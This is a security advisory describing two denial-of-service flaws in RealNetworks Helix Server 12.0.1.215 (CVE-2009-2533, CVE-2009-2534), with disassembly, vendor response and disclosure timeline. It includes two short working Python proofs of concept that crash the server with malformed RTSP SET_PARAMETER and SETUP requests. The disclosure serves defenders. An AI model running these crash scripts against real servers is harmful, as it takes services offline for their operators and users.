|
|
|
|
| |
Credit:
The information has been provided by Damian Frizza.
The original article can be found at: http://www.coresecurity.com/content/real-helix-dna
|
| |
Vulnerable Systems:
* RealNetworks Helix Server Version 12.0.1.215 (Tahiti) Build 175002/12667
* RealNetworks Helix Mobile Server Version 12.0.1.215
Immune Systems:
* RealNetworks Helix Server Version 13.0.0
* RealNetworks Helix Mobile Server Version 13.0.0
During a 'RTSP' (SET_PARAMETERS) request handling, if an empty 'DataConvertBuffer' parameter is received by the server, it will raise an exception reading an invalid direction of memory. This exception is usually handled correctly but if you send this malformed request multiple times in a short period of time, it could render the Helix Server unresponsive and terminate its execution.
During the 'SETUP' request handling, a 0x2F character is searched in the request line, if this byte is absent the process crashes with an access violation.
*RTSP request handling Denial of Service (CVE-2009-2533)*
The problem arises when the 'rmserver' process receives an 'RTSP (SET_PARAMETER)' request with no content in the 'DataConvertBuffer' parameter. The handling code reads at the memory location zero (0) and triggers an exception, which is handled correctly. However sending this malformed request multiple times renders the rmserver process unresponsive and subsequently stops its execution.
The code section which triggers the exception is:
00458066 |. C745 08 00000000 MOV DWORD PTR SS:[EBP+8],0
*Sets the content of the local variable to 0
0045806D |. 8B10 MOV EDX,DWORD PTR DS:[EAX]
0045806F |. 50 PUSH EAX
00458070 |. FF52 2C CALL DWORD PTR DS:[EDX+2C]
00458073 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00458076 |. 8B10 MOV EDX,DWORD PTR DS:[EAX] *
Tries to read form 0 memory location
The following PoC code reproduces the issue:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.16.132.133',554))
setRequest = "SET_PARAMETER / RTSP/1.0\r\n"
setRequest +="DataConvertBuffer: \r\n\r\n"
for i in range(5):
print i
s.send(setRequest)
s.close()
The following output is written in the log file:
4068: FATAL ERROR: The server has run out of memory!
FATAL ERROR: Last request was rounded up to 1155072 bytes
Trace:
0x00409C96
...
...
...
0x00000000
FATAL ERROR: Server Terminated
*Malformed SETUP command handling Denial of Service (CVE-2009-2534)*
The problem arises when the 'SETUP' request is handled and the byte 0x2F is absent in the request line. While handling this kind of malformed request the server crashes with an access violation.
The code section which triggers the access violation is:
0047A490 |. 6A 2F PUSH 2F
0047A492 |. 56 PUSH ESI
0047A493 |. FF15 08425100 CALL DWORD PTR DS:[<&MSVCR71.strchr>]
; MSVCR71.strchr
if only the "/" (0x2F) character is sent, the program tries to copy from 0 and the access violation exception is raised.
0047A490 |. 6A 2F PUSH 2F
0047A492 |. 56 PUSH ESI
0047A493 |. FF15 08425100 CALL DWORD PTR DS:[<&MSVCR71.strchr>]
; MSVCR71.strchr
The following code reproduces the issue:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.16.132.133',554))
setRequest = "SETUP / RTSP/1.0\r\n\r\n"
s.send(setRequest)
s.close()
Vendor Response:
According to the Security Update 071409HS [2] published by RealNetworks: "The vulnerability is resolved on the following platforms by installing Version 13.0.0 of the Helix Server and the Helix Mobile Server. This only pertains to supported versions of the platforms listed below. The updated version will be available on your RealNetworks PAM site after 12:00 am PST, on July 14, 2009."
* Red Hat Enterprise Linux 4
* Red Hat Enterprise Linux 5
* Sun Solaris 10
* Windows 2003
CVE Information:
CVE-2009-2533
CVE-2009-2534
Disclosure Timeline:
2009-03-04: RealNetworks notified, schedules publication of its advisory to April 6th, 2009.
2009-03-16: RealNetworks notified again.
2009-03-20: The RealNetworks team asks for a technical description of the vulnerability.
2009-03-30: RealNetworks responds that fixes will be included in the next public release - currently targeted for July 2009.
2009-05-05: RealNetworks responds that fixes will be available in mid-2009, most likely in the July time frame, and that to protect its customer base RealNetworks will not provide additional details until the release is publicly available.
2009-05-29: Core requests again RealNetworks an estimated date for the release of fixes, and technical details about the issues. In the meantime, the publication of advisory CORE-2009-0227 is rescheduled for July 15th.
2009-07-16: An updated version of the advisory was sent to RealNetworks.
2009-07-17: The advisory CORE-2009-0227 is published.
|
|
|
|
|
